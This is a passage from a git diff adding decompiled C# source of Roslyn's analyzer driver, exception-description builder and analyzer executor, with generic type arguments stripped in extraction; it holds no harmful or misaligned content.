AnalyzerActions { get; } + + public ImmutableSegmentedDictionary>> NodeActionsByAnalyzerAndKind + { + get + { + if (_lazyNodeActionsByKind == null) + { + ImmutableArray> immutableArray = (_analyzerActionsNeedFiltering ? AnalyzerActions.GetSyntaxNodeActions(_analyzer) : AnalyzerActions.GetSyntaxNodeActions()); + ImmutableSegmentedDictionary>> value = ((!immutableArray.IsEmpty) ? Microsoft.CodeAnalysis.Diagnostics.AnalyzerExecutor.GetNodeActionsByKind(immutableArray) : ImmutableSegmentedDictionary>>.Empty); + RoslynImmutableInterlocked.InterlockedInitialize>>(ref _lazyNodeActionsByKind, value); + } + return _lazyNodeActionsByKind; + } + } + + public ImmutableSegmentedDictionary> OperationActionsByAnalyzerAndKind + { + get + { + if (_lazyOperationActionsByKind == null) + { + ImmutableArray filteredActions = GetFilteredActions(AnalyzerActions.OperationActions); + ImmutableSegmentedDictionary> value = (filteredActions.Any() ? Microsoft.CodeAnalysis.Diagnostics.AnalyzerExecutor.GetOperationActionsByKind(filteredActions) : ImmutableSegmentedDictionary>.Empty); + RoslynImmutableInterlocked.InterlockedInitialize>(ref _lazyOperationActionsByKind, value); + } + return _lazyOperationActionsByKind; + } + } + + private ImmutableArray> CodeBlockStartActions + { + get + { + if (_lazyCodeBlockStartActions.IsDefault) + { + ImmutableArray> filteredActions = GetFilteredActions>(AnalyzerActions.GetCodeBlockStartActions()); + ImmutableInterlocked.InterlockedInitialize(ref _lazyCodeBlockStartActions, filteredActions); + } + return _lazyCodeBlockStartActions; + } + } + + private ImmutableArray CodeBlockEndActions => GetExecutableCodeActions(ref _lazyCodeBlockEndActions, AnalyzerActions.CodeBlockEndActions, _analyzer, _analyzerActionsNeedFiltering); + + private ImmutableArray CodeBlockActions => GetExecutableCodeActions(ref _lazyCodeBlockActions, AnalyzerActions.CodeBlockActions, _analyzer, _analyzerActionsNeedFiltering); + + private ImmutableArray OperationBlockStartActions => GetExecutableCodeActions(ref _lazyOperationBlockStartActions, AnalyzerActions.OperationBlockStartActions, _analyzer, _analyzerActionsNeedFiltering); + + private ImmutableArray OperationBlockEndActions => GetExecutableCodeActions(ref _lazyOperationBlockEndActions, AnalyzerActions.OperationBlockEndActions, _analyzer, _analyzerActionsNeedFiltering); + + private ImmutableArray OperationBlockActions => GetExecutableCodeActions(ref _lazyOperationBlockActions, AnalyzerActions.OperationBlockActions, _analyzer, _analyzerActionsNeedFiltering); + + public bool HasCodeBlockStartActions => !CodeBlockStartActions.IsEmpty; + + public bool HasOperationBlockStartActions => !OperationBlockStartActions.IsEmpty; + + public GroupedAnalyzerActionsForAnalyzer(DiagnosticAnalyzer analyzer, in AnalyzerActions analyzerActions, bool analyzerActionsNeedFiltering) + { + _analyzer = analyzer; + AnalyzerActions = analyzerActions; + _analyzerActionsNeedFiltering = analyzerActionsNeedFiltering; + } + + [Conditional("DEBUG")] + private static void VerifyActions(in ImmutableArray actions, DiagnosticAnalyzer analyzer) where TAnalyzerAction : AnalyzerAction + { + ImmutableArray.Enumerator enumerator = actions.GetEnumerator(); + while (enumerator.MoveNext()) + { + _ = enumerator.Current; + } + } + + private ImmutableArray GetFilteredActions(in ImmutableArray actions) where TAnalyzerAction : AnalyzerAction + { + return GetFilteredActions(in actions, _analyzer, _analyzerActionsNeedFiltering); + } + + private static ImmutableArray GetFilteredActions(in ImmutableArray actions, DiagnosticAnalyzer analyzer, bool analyzerActionsNeedFiltering) where TAnalyzerAction : AnalyzerAction + { + if (!analyzerActionsNeedFiltering) + { + return actions; + } + return actions.WhereAsArray((TAnalyzerAction action, DiagnosticAnalyzer diagnosticAnalyzer) => action.Analyzer == diagnosticAnalyzer, analyzer); + } + + private static ImmutableArray GetExecutableCodeActions(ref ImmutableArray lazyCodeBlockActions, ImmutableArray codeBlockActions, DiagnosticAnalyzer analyzer, bool analyzerActionsNeedFiltering) where ActionType : AnalyzerAction + { + if (lazyCodeBlockActions.IsDefault) + { + codeBlockActions = GetFilteredActions(in codeBlockActions, analyzer, analyzerActionsNeedFiltering); + ImmutableInterlocked.InterlockedInitialize(ref lazyCodeBlockActions, codeBlockActions); + } + return lazyCodeBlockActions; + } + + public bool TryGetExecutableCodeBlockActions(out ExecutableCodeBlockAnalyzerActions actions) + { + if (!OperationBlockStartActions.IsEmpty || !OperationBlockActions.IsEmpty || !OperationBlockEndActions.IsEmpty || !CodeBlockStartActions.IsEmpty || !CodeBlockActions.IsEmpty || !CodeBlockEndActions.IsEmpty) + { + actions = new ExecutableCodeBlockAnalyzerActions + { + Analyzer = _analyzer, + CodeBlockStartActions = CodeBlockStartActions, + CodeBlockActions = CodeBlockActions, + CodeBlockEndActions = CodeBlockEndActions, + OperationBlockStartActions = OperationBlockStartActions, + OperationBlockActions = OperationBlockActions, + OperationBlockEndActions = OperationBlockEndActions + }; + return true; + } + actions = default(ExecutableCodeBlockAnalyzerActions); + return false; + } + } + + private readonly Func _getKind; + + private GroupedAnalyzerActions? _lazyCoreActions; + + protected override IGroupedAnalyzerActions EmptyGroupedActions => GroupedAnalyzerActions.Empty; + + internal AnalyzerDriver(ImmutableArray analyzers, Func getKind, AnalyzerManager analyzerManager, SeverityFilter severityFilter, Func isComment) + : base(analyzers, analyzerManager, severityFilter, isComment) + { + _getKind = getKind; + } + + private GroupedAnalyzerActions GetOrCreateCoreActions() + { + if (_lazyCoreActions == null) + { + Interlocked.CompareExchange(ref _lazyCoreActions, createCoreActions(), null); + } + return _lazyCoreActions; + GroupedAnalyzerActions createCoreActions() + { + if (base.AnalyzerActions.IsEmpty) + { + return GroupedAnalyzerActions.Empty; + } + return GroupedAnalyzerActions.Create(base.Analyzers.WhereAsArray(base.UnsuppressedAnalyzers.Contains), in base.AnalyzerActions); + } + } + + private static void ComputeShouldExecuteActions(in AnalyzerActions coreActions, in AnalyzerActions additionalActions, ISymbol symbol, out bool executeSyntaxNodeActions, out bool executeCodeBlockActions, out bool executeOperationActions, out bool executeOperationBlockActions) + { + executeSyntaxNodeActions = false; + executeCodeBlockActions = false; + executeOperationActions = false; + executeOperationBlockActions = false; + bool canHaveExecutableCodeBlock = Microsoft.CodeAnalysis.Diagnostics.AnalyzerExecutor.CanHaveExecutableCodeBlock(symbol); + computeShouldExecuteActions(coreActions, canHaveExecutableCodeBlock, ref executeSyntaxNodeActions, ref executeCodeBlockActions, ref executeOperationActions, ref executeOperationBlockActions); + computeShouldExecuteActions(additionalActions, canHaveExecutableCodeBlock, ref executeSyntaxNodeActions, ref executeCodeBlockActions, ref executeOperationActions, ref executeOperationBlockActions); + static void computeShouldExecuteActions(AnalyzerActions analyzerActions, bool flag, ref bool reference, ref bool reference3, ref bool reference2, ref bool reference4) + { + if (!analyzerActions.IsEmpty) + { + reference |= analyzerActions.SyntaxNodeActionsCount > 0; + reference2 |= analyzerActions.OperationActionsCount > 0; + if (flag) + { + reference3 |= analyzerActions.CodeBlockStartActionsCount > 0 || analyzerActions.CodeBlockActionsCount > 0; + reference4 |= analyzerActions.OperationBlockStartActionsCount > 0 || analyzerActions.OperationBlockActionsCount > 0; + } + } + } + } + + protected override IGroupedAnalyzerActions CreateGroupedActions(DiagnosticAnalyzer analyzer, in AnalyzerActions analyzerActions) + { + return GroupedAnalyzerActions.Create(analyzer, in analyzerActions); + } + + protected override void ExecuteDeclaringReferenceActions(SymbolDeclaredCompilationEvent symbolEvent, AnalysisScope analysisScope, bool isGeneratedCodeSymbol, IGroupedAnalyzerActions additionalPerSymbolActions, CancellationToken cancellationToken) + { + ISymbol symbol = symbolEvent.Symbol; + ComputeShouldExecuteActions(in base.AnalyzerActions, additionalPerSymbolActions.AnalyzerActions, symbol, out var executeSyntaxNodeActions, out var executeCodeBlockActions, out var executeOperationActions, out var executeOperationBlockActions); + if (!(executeSyntaxNodeActions || executeOperationActions || executeCodeBlockActions || executeOperationBlockActions)) + { + return; + } + ImmutableArray declaringSyntaxReferences = symbolEvent.DeclaringSyntaxReferences; + GroupedAnalyzerActions orCreateCoreActions = GetOrCreateCoreActions(); + ImmutableArray.Enumerator enumerator = declaringSyntaxReferences.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxReference current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + if (!analysisScope.FilterFileOpt.HasValue || analysisScope.FilterFileOpt?.SourceTree == current.SyntaxTree) + { + bool flag = isGeneratedCodeSymbol || IsGeneratedOrHiddenCodeLocation(current.SyntaxTree, current.Span, cancellationToken); + if (!flag || !base.DoNotAnalyzeGeneratedCode) + { + ExecuteDeclaringReferenceActions(current, symbolEvent, analysisScope, orCreateCoreActions, (GroupedAnalyzerActions)additionalPerSymbolActions, executeSyntaxNodeActions, executeOperationActions, executeCodeBlockActions, executeOperationBlockActions, flag, cancellationToken); + } + } + } + } + + private static DeclarationAnalysisData ComputeDeclarationAnalysisData(ISymbol symbol, SyntaxReference declaration, SemanticModel semanticModel, AnalysisScope analysisScope, CancellationToken cancellationToken) + { + cancellationToken.ThrowIfCancellationRequested(); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + SyntaxNode syntax = declaration.GetSyntax(cancellationToken); + SyntaxNode topmostNodeForDiagnosticAnalysis = semanticModel.GetTopmostNodeForDiagnosticAnalysis(symbol, syntax); + ComputeDeclarationsInNode(semanticModel, symbol, syntax, topmostNodeForDiagnosticAnalysis, instance, cancellationToken); + ImmutableArray immutableArray = instance.ToImmutableAndFree(); + bool isPartialAnalysis = analysisScope.FilterSpanOpt.HasValue && !analysisScope.ContainsSpan(topmostNodeForDiagnosticAnalysis.FullSpan); + DeclarationAnalysisData result = new DeclarationAnalysisData(syntax, topmostNodeForDiagnosticAnalysis, immutableArray, isPartialAnalysis); + AddSyntaxNodesToAnalyze(topmostNodeForDiagnosticAnalysis, symbol, immutableArray, semanticModel, result.DescendantNodesToAnalyze, cancellationToken); + return result; + } + + private static void ComputeDeclarationsInNode(SemanticModel semanticModel, ISymbol declaredSymbol, SyntaxNode declaringReferenceSyntax, SyntaxNode topmostNodeForAnalysis, ArrayBuilder builder, CancellationToken cancellationToken) + { + int? levelsToCompute = 2; + bool getSymbol = topmostNodeForAnalysis != declaringReferenceSyntax || declaredSymbol.Kind == SymbolKind.Namespace; + semanticModel.ComputeDeclarationsInNode(topmostNodeForAnalysis, declaredSymbol, getSymbol, builder, cancellationToken, levelsToCompute); + } + + private void ExecuteDeclaringReferenceActions(SyntaxReference decl, SymbolDeclaredCompilationEvent symbolEvent, AnalysisScope analysisScope, GroupedAnalyzerActions coreActions, GroupedAnalyzerActions additionalPerSymbolActions, bool shouldExecuteSyntaxNodeActions, bool shouldExecuteOperationActions, bool shouldExecuteCodeBlockActions, bool shouldExecuteOperationBlockActions, bool isInGeneratedCode, CancellationToken cancellationToken) + { + ISymbol symbol = symbolEvent.Symbol; + SemanticModel semanticModel = symbolEvent.SemanticModelWithCachedBoundNodes ?? GetOrCreateSemanticModel(decl.SyntaxTree, symbolEvent.Compilation); + DeclarationAnalysisData declarationAnalysisData = ComputeDeclarationAnalysisData(symbol, decl, semanticModel, analysisScope, cancellationToken); + if (analysisScope.ShouldAnalyze(declarationAnalysisData.TopmostNodeForAnalysis)) + { + executeNodeActions(); + executeExecutableCodeActions(); + } + declarationAnalysisData.Free(); + static void addExecutableCodeBlockAnalyzerActions(GroupedAnalyzerActions groupedActions, AnalysisScope analysisScope2, ArrayBuilder builder) + { + ImmutableArray<(DiagnosticAnalyzer, GroupedAnalyzerActionsForAnalyzer)>.Enumerator enumerator = groupedActions.GroupedActionsByAnalyzer.GetEnumerator(); + while (enumerator.MoveNext()) + { + var (analyzer, groupedAnalyzerActionsForAnalyzer) = enumerator.Current; + if (analysisScope2.Contains(analyzer) && groupedAnalyzerActionsForAnalyzer.TryGetExecutableCodeBlockActions(out var actions)) + { + builder.Add(actions); + } + } + } + void executeCodeBlockActions(ImmutableArray executableCodeBlocks, IEnumerable codeBlockActions) + { + if (executableCodeBlocks.IsEmpty || !shouldExecuteCodeBlockActions) + { + return; + } + foreach (ExecutableCodeBlockAnalyzerActions codeBlockAction in codeBlockActions) + { + if ((!codeBlockAction.CodeBlockStartActions.IsEmpty || !codeBlockAction.CodeBlockActions.IsEmpty || !codeBlockAction.CodeBlockEndActions.IsEmpty) && analysisScope.Contains(codeBlockAction.Analyzer)) + { + base.AnalyzerExecutor.ExecuteCodeBlockActions(codeBlockAction.CodeBlockStartActions, codeBlockAction.CodeBlockActions, codeBlockAction.CodeBlockEndActions, codeBlockAction.Analyzer, declarationAnalysisData.TopmostNodeForAnalysis, symbol, executableCodeBlocks, semanticModel, _getKind, analysisScope.FilterSpanOpt, isInGeneratedCode, cancellationToken); + } + } + } + void executeExecutableCodeActions() + { + if (!shouldExecuteCodeBlockActions && !shouldExecuteOperationActions && !shouldExecuteOperationBlockActions) + { + return; + } + ImmutableArray immutableArray = ImmutableArray.Empty; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + try + { + ImmutableArray.Enumerator enumerator = declarationAnalysisData.DeclarationsInNode.GetEnumerator(); + while (enumerator.MoveNext()) + { + DeclarationInfo current = enumerator.Current; + if (current.DeclaredNode == declarationAnalysisData.TopmostNodeForAnalysis || current.DeclaredNode == declarationAnalysisData.DeclaringReferenceSyntax) + { + immutableArray = current.ExecutableCodeBlocks; + if (!immutableArray.IsEmpty) + { + if (shouldExecuteCodeBlockActions || shouldExecuteOperationBlockActions) + { + addExecutableCodeBlockAnalyzerActions(coreActions, analysisScope, instance); + addExecutableCodeBlockAnalyzerActions(additionalPerSymbolActions, analysisScope, instance); + } + if (shouldExecuteOperationActions || shouldExecuteOperationBlockActions) + { + ImmutableArray operationBlocksToAnalyze = GetOperationBlocksToAnalyze(immutableArray, semanticModel, cancellationToken); + ImmutableArray operationsToAnalyze = getOperationsToAnalyzeWithStackGuard(operationBlocksToAnalyze); + if (!operationsToAnalyze.IsEmpty) + { + try + { + executeOperationsActions(operationsToAnalyze); + executeOperationsBlockActions(operationBlocksToAnalyze, operationsToAnalyze, instance); + } + finally + { + base.AnalyzerExecutor.OnOperationBlockActionsExecuted(operationBlocksToAnalyze); + } + } + } + break; + } + } + } + executeCodeBlockActions(immutableArray, instance); + } + finally + { + instance.Free(); + } + } + void executeNodeActions() + { + if (shouldExecuteSyntaxNodeActions) + { + ArrayBuilder descendantNodesToAnalyze = declarationAnalysisData.DescendantNodesToAnalyze; + executeNodeActionsByKind(descendantNodesToAnalyze, coreActions, arePerSymbolActions: false); + executeNodeActionsByKind(descendantNodesToAnalyze, additionalPerSymbolActions, arePerSymbolActions: true); + } + } + void executeNodeActionsByKind(ArrayBuilder nodesToAnalyze, GroupedAnalyzerActions groupedActions, bool arePerSymbolActions) + { + ImmutableArray<(DiagnosticAnalyzer, GroupedAnalyzerActionsForAnalyzer)>.Enumerator enumerator = groupedActions.GroupedActionsByAnalyzer.GetEnumerator(); + while (enumerator.MoveNext()) + { + var (analyzer, groupedAnalyzerActionsForAnalyzer) = enumerator.Current; + if (!groupedAnalyzerActionsForAnalyzer.NodeActionsByAnalyzerAndKind.IsEmpty && analysisScope.Contains(analyzer)) + { + if (declarationAnalysisData.IsPartialAnalysis && !groupedAnalyzerActionsForAnalyzer.HasCodeBlockStartActions) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(nodesToAnalyze.Count); + ArrayBuilder.Enumerator enumerator2 = nodesToAnalyze.GetEnumerator(); + while (enumerator2.MoveNext()) + { + SyntaxNode current = enumerator2.Current; + if (analysisScope.ShouldAnalyze(current)) + { + instance.Add(current); + } + } + executeSyntaxNodeActions(analyzer, groupedAnalyzerActionsForAnalyzer, instance); + instance.Free(); + } + else + { + executeSyntaxNodeActions(analyzer, groupedAnalyzerActionsForAnalyzer, nodesToAnalyze); + } + } + } + } + void executeOperationsActions(ImmutableArray operationsToAnalyze) + { + if (shouldExecuteOperationActions) + { + executeOperationsActionsByKind(operationsToAnalyze, coreActions, arePerSymbolActions: false); + executeOperationsActionsByKind(operationsToAnalyze, additionalPerSymbolActions, arePerSymbolActions: true); + } + } + void executeOperationsActionsByKind(ImmutableArray operationsToAnalyze, GroupedAnalyzerActions groupedActions, bool arePerSymbolActions) + { + ImmutableArray<(DiagnosticAnalyzer, GroupedAnalyzerActionsForAnalyzer)>.Enumerator enumerator = groupedActions.GroupedActionsByAnalyzer.GetEnumerator(); + while (enumerator.MoveNext()) + { + (DiagnosticAnalyzer, GroupedAnalyzerActionsForAnalyzer) current = enumerator.Current; + DiagnosticAnalyzer item = current.Item1; + GroupedAnalyzerActionsForAnalyzer item2 = current.Item2; + ImmutableSegmentedDictionary> operationActionsByAnalyzerAndKind = item2.OperationActionsByAnalyzerAndKind; + if (!operationActionsByAnalyzerAndKind.IsEmpty && analysisScope.Contains(item)) + { + ImmutableArray immutableArray = ((declarationAnalysisData.IsPartialAnalysis && !item2.HasOperationBlockStartActions) ? operationsToAnalyze.WhereAsArray((IOperation operation) => analysisScope.ShouldAnalyze(operation.Syntax)) : operationsToAnalyze); + base.AnalyzerExecutor.ExecuteOperationActions(immutableArray, operationActionsByAnalyzerAndKind, item, semanticModel, declarationAnalysisData.TopmostNodeForAnalysis.FullSpan, symbol, analysisScope.FilterSpanOpt, isInGeneratedCode, item2.HasOperationBlockStartActions || arePerSymbolActions, cancellationToken); + } + } + } + void executeOperationsBlockActions(ImmutableArray operationBlocksToAnalyze, ImmutableArray operationsToAnalyze, IEnumerable codeBlockActions) + { + if (!shouldExecuteOperationBlockActions) + { + return; + } + foreach (ExecutableCodeBlockAnalyzerActions codeBlockAction2 in codeBlockActions) + { + if ((!codeBlockAction2.OperationBlockStartActions.IsEmpty || !codeBlockAction2.OperationBlockActions.IsEmpty || !codeBlockAction2.OperationBlockEndActions.IsEmpty) && analysisScope.Contains(codeBlockAction2.Analyzer)) + { + base.AnalyzerExecutor.ExecuteOperationBlockActions(codeBlockAction2.OperationBlockStartActions, codeBlockAction2.OperationBlockActions, codeBlockAction2.OperationBlockEndActions, codeBlockAction2.Analyzer, declarationAnalysisData.TopmostNodeForAnalysis, symbol, operationBlocksToAnalyze, operationsToAnalyze, semanticModel, analysisScope.FilterSpanOpt, isInGeneratedCode, cancellationToken); + } + } + } + void executeSyntaxNodeActions(DiagnosticAnalyzer analyzer, GroupedAnalyzerActionsForAnalyzer groupedActionsForAnalyzer, ArrayBuilder filteredNodesToAnalyze) + { + base.AnalyzerExecutor.ExecuteSyntaxNodeActions(filteredNodesToAnalyze, groupedActionsForAnalyzer.NodeActionsByAnalyzerAndKind, analyzer, semanticModel, _getKind, declarationAnalysisData.TopmostNodeForAnalysis.FullSpan, symbol, analysisScope.FilterSpanOpt, isInGeneratedCode, groupedActionsForAnalyzer.HasCodeBlockStartActions | P_3.arePerSymbolActions, cancellationToken); + } + ImmutableArray getOperationsToAnalyzeWithStackGuard(ImmutableArray operationBlocksToAnalyze) + { + try + { + return GetOperationsToAnalyze(operationBlocksToAnalyze); + } + catch (Exception ex) when (ex is InsufficientExecutionStackException) + { + Diagnostic arg = Microsoft.CodeAnalysis.Diagnostics.AnalyzerExecutor.CreateDriverExceptionDiagnostic(ex); + DiagnosticAnalyzer arg2 = base.Analyzers[0]; + base.AnalyzerExecutor.OnAnalyzerException(ex, arg2, arg, cancellationToken); + return ImmutableArray.Empty; + } + } + } + + private static void AddSyntaxNodesToAnalyze(SyntaxNode declaredNode, ISymbol declaredSymbol, ImmutableArray declarationsInNode, SemanticModel semanticModel, ArrayBuilder nodesToAnalyze, CancellationToken cancellationToken) + { + HashSet descendantDeclsToSkip = null; + bool flag = true; + ImmutableArray.Enumerator enumerator = declarationsInNode.GetEnumerator(); + while (enumerator.MoveNext()) + { + DeclarationInfo current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + if (current.DeclaredNode != declaredNode) + { + if (IsEquivalentSymbol(declaredSymbol, current.DeclaredSymbol)) + { + if (flag) + { + break; + } + return; + } + SyntaxNode item = current.DeclaredNode; + ISymbol symbol = current.DeclaredSymbol ?? semanticModel.GetDeclaredSymbol(current.DeclaredNode, cancellationToken); + if (symbol != null) + { + item = semanticModel.GetTopmostNodeForDiagnosticAnalysis(symbol, current.DeclaredNode); + } + if (descendantDeclsToSkip == null) + { + descendantDeclsToSkip = new HashSet(); + } + descendantDeclsToSkip.Add(item); + } + flag = false; + } + Func additionalFilter = semanticModel.GetSyntaxNodesToAnalyzeFilter(declaredNode, declaredSymbol); + foreach (SyntaxNode item2 in declaredNode.DescendantNodesAndSelf(shouldAddNode, descendIntoTrivia: true)) + { + if (shouldAddNode(item2) && !semanticModel.ShouldSkipSyntaxNodeAnalysis(item2, declaredSymbol)) + { + nodesToAnalyze.Add(item2); + } + } + bool shouldAddNode(SyntaxNode node) + { + if (descendantDeclsToSkip == null || !descendantDeclsToSkip.Contains(node)) + { + if (additionalFilter != null) + { + return additionalFilter(node); + } + return true; + } + return false; + } + } + + private static bool IsEquivalentSymbol(ISymbol declaredSymbol, ISymbol? otherSymbol) + { + if (declaredSymbol.Equals(otherSymbol)) + { + return true; + } + if (otherSymbol != null && declaredSymbol.Kind == SymbolKind.Namespace && otherSymbol.Kind == SymbolKind.Namespace && declaredSymbol.Name == otherSymbol.Name) + { + return declaredSymbol.ToDisplayString() == otherSymbol.ToDisplayString(); + } + return false; + } + + private static ImmutableArray GetOperationBlocksToAnalyze(ImmutableArray executableBlocks, SemanticModel semanticModel, CancellationToken cancellationToken) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = executableBlocks.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxNode current = enumerator.Current; + IOperation operation = semanticModel.GetOperation(current, cancellationToken); + if (operation != null) + { + instance.AddRange(operation); + } + } + return instance.ToImmutableAndFree(); + } + + private static ImmutableArray GetOperationsToAnalyze(ImmutableArray operationBlocks) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + bool flag = true; + ImmutableArray.Enumerator enumerator = operationBlocks.GetEnumerator(); + while (enumerator.MoveNext()) + { + IOperation current = enumerator.Current; + if (flag && current.Parent != null) + { + switch (current.Parent.Kind) + { + case OperationKind.MethodBody: + case OperationKind.ConstructorBody: + instance.Add(current.Parent); + break; + case OperationKind.ExpressionStatement: + instance.Add(current.Parent.Parent); + break; + } + flag = false; + } + instance.AddRange(current.DescendantsAndSelf()); + } + return instance.ToImmutableAndFree(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerExceptionDescriptionBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerExceptionDescriptionBuilder.cs new file mode 100644 index 0000000..6a09488 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerExceptionDescriptionBuilder.cs @@ -0,0 +1,38 @@ +using System; +using System.IO; +using System.Linq; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal static class AnalyzerExceptionDescriptionBuilder +{ + private static readonly string s_separator = Environment.NewLine + "-----" + Environment.NewLine; + + public static string CreateDiagnosticDescription(this Exception exception) + { + if (exception is AggregateException ex) + { + AggregateException ex2 = ex.Flatten(); + return string.Join(s_separator, ex2.InnerExceptions.Select((Exception e) => GetExceptionMessage(e))); + } + if (exception != null) + { + return string.Join(s_separator, new string[2] + { + GetExceptionMessage(exception), + exception.InnerException.CreateDiagnosticDescription() + }); + } + return string.Empty; + } + + private static string GetExceptionMessage(Exception exception) + { + string text = (exception as FileNotFoundException)?.FusionLog; + if (text == null) + { + return exception.ToString(); + } + return string.Join(s_separator, new string[2] { exception.Message, text }); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerExecutor.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerExecutor.cs new file mode 100644 index 0000000..112588a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerExecutor.cs @@ -0,0 +1,1015 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Threading; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.FlowAnalysis; +using Microsoft.CodeAnalysis.Operations; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal class AnalyzerExecutor +{ + private sealed class AnalyzerDiagnosticReporter + { + public readonly Action AddDiagnosticAction; + + private static readonly ObjectPool s_objectPool = new ObjectPool(() => new AnalyzerDiagnosticReporter(), 10); + + private SourceOrAdditionalFile? _contextFile; + + private Compilation _compilation; + + private DiagnosticAnalyzer _analyzer; + + private bool _isSyntaxDiagnostic; + + private Action? _addNonCategorizedDiagnostic; + + private Action? _addCategorizedLocalDiagnostic; + + private Action? _addCategorizedNonLocalDiagnostic; + + private Func _shouldSuppressGeneratedCodeDiagnostic; + + private CancellationToken _cancellationToken; + + public TextSpan? FilterSpanForLocalDiagnostics; + + public static AnalyzerDiagnosticReporter GetInstance(SourceOrAdditionalFile contextFile, TextSpan? span, Compilation compilation, DiagnosticAnalyzer analyzer, bool isSyntaxDiagnostic, Action? addNonCategorizedDiagnostic, Action? addCategorizedLocalDiagnostic, Action? addCategorizedNonLocalDiagnostic, Func shouldSuppressGeneratedCodeDiagnostic, CancellationToken cancellationToken) + { + AnalyzerDiagnosticReporter analyzerDiagnosticReporter = s_objectPool.Allocate(); + analyzerDiagnosticReporter._contextFile = contextFile; + analyzerDiagnosticReporter.FilterSpanForLocalDiagnostics = span; + analyzerDiagnosticReporter._compilation = compilation; + analyzerDiagnosticReporter._analyzer = analyzer; + analyzerDiagnosticReporter._isSyntaxDiagnostic = isSyntaxDiagnostic; + analyzerDiagnosticReporter._addNonCategorizedDiagnostic = addNonCategorizedDiagnostic; + analyzerDiagnosticReporter._addCategorizedLocalDiagnostic = addCategorizedLocalDiagnostic; + analyzerDiagnosticReporter._addCategorizedNonLocalDiagnostic = addCategorizedNonLocalDiagnostic; + analyzerDiagnosticReporter._shouldSuppressGeneratedCodeDiagnostic = shouldSuppressGeneratedCodeDiagnostic; + analyzerDiagnosticReporter._cancellationToken = cancellationToken; + return analyzerDiagnosticReporter; + } + + public void Free() + { + _contextFile = null; + FilterSpanForLocalDiagnostics = null; + _compilation = null; + _analyzer = null; + _isSyntaxDiagnostic = false; + _addNonCategorizedDiagnostic = null; + _addCategorizedLocalDiagnostic = null; + _addCategorizedNonLocalDiagnostic = null; + _shouldSuppressGeneratedCodeDiagnostic = null; + _cancellationToken = default(CancellationToken); + s_objectPool.Free(this); + } + + private AnalyzerDiagnosticReporter() + { + AddDiagnosticAction = AddDiagnostic; + } + + private void AddDiagnostic(Diagnostic diagnostic) + { + if (!_shouldSuppressGeneratedCodeDiagnostic(diagnostic, _analyzer, _compilation, _cancellationToken)) + { + if (_addCategorizedLocalDiagnostic == null) + { + _addNonCategorizedDiagnostic(diagnostic, _cancellationToken); + } + else if (isLocalDiagnostic(diagnostic) && (!FilterSpanForLocalDiagnostics.HasValue || FilterSpanForLocalDiagnostics.Value.IntersectsWith(diagnostic.Location.SourceSpan))) + { + _addCategorizedLocalDiagnostic(diagnostic, _analyzer, _isSyntaxDiagnostic, _cancellationToken); + } + else + { + _addCategorizedNonLocalDiagnostic(diagnostic, _analyzer, _cancellationToken); + } + } + bool isLocalDiagnostic(Diagnostic diagnostic2) + { + if (diagnostic2.Location.IsInSource) + { + if (_contextFile?.SourceTree != null) + { + return _contextFile.Value.SourceTree == diagnostic2.Location.SourceTree; + } + return false; + } + if (_contextFile?.AdditionalFile != null && diagnostic2.Location is ExternalFileLocation externalFileLocation) + { + return PathUtilities.Comparer.Equals(_contextFile.Value.AdditionalFile.Path, externalFileLocation.GetLineSpan().Path); + } + return false; + } + } + } + + private const string DiagnosticCategory = "Compiler"; + + internal const string AnalyzerExceptionDiagnosticId = "AD0001"; + + internal const string AnalyzerDriverExceptionDiagnosticId = "AD0002"; + + private readonly Action? _addNonCategorizedDiagnostic; + + private readonly Action? _addCategorizedLocalDiagnostic; + + private readonly Action? _addCategorizedNonLocalDiagnostic; + + private readonly Action? _addSuppression; + + private readonly Func? _analyzerExceptionFilter; + + private readonly AnalyzerManager _analyzerManager; + + private readonly Func _isCompilerAnalyzer; + + private readonly Func _getAnalyzerGate; + + private readonly Func _getSemanticModel; + + private readonly Func _shouldSkipAnalysisOnGeneratedCode; + + private readonly Func _shouldSuppressGeneratedCodeDiagnostic; + + private readonly Func _isGeneratedCodeLocation; + + private readonly Func _isAnalyzerSuppressedForTree; + + private readonly ConcurrentDictionary>? _analyzerExecutionTimeMap; + + private readonly CompilationAnalysisValueProviderFactory _compilationAnalysisValueProviderFactory; + + private Func? _lazyGetControlFlowGraph; + + private ConcurrentDictionary? _lazyControlFlowGraphMap; + + private Func GetControlFlowGraph => GetControlFlowGraphImpl; + + internal Compilation Compilation { get; } + + internal AnalyzerOptions AnalyzerOptions { get; } + + internal Action OnAnalyzerException { get; } + + internal ImmutableDictionary AnalyzerExecutionTimes => _analyzerExecutionTimeMap.ToImmutableDictionary>, DiagnosticAnalyzer, TimeSpan>((KeyValuePair> pair) => pair.Key, (KeyValuePair> pair) => TimeSpan.FromTicks(pair.Value.Value)); + + private bool IsAnalyzerSuppressedForTree(DiagnosticAnalyzer analyzer, SyntaxTree tree, CancellationToken cancellationToken) + { + return _isAnalyzerSuppressedForTree(analyzer, tree, 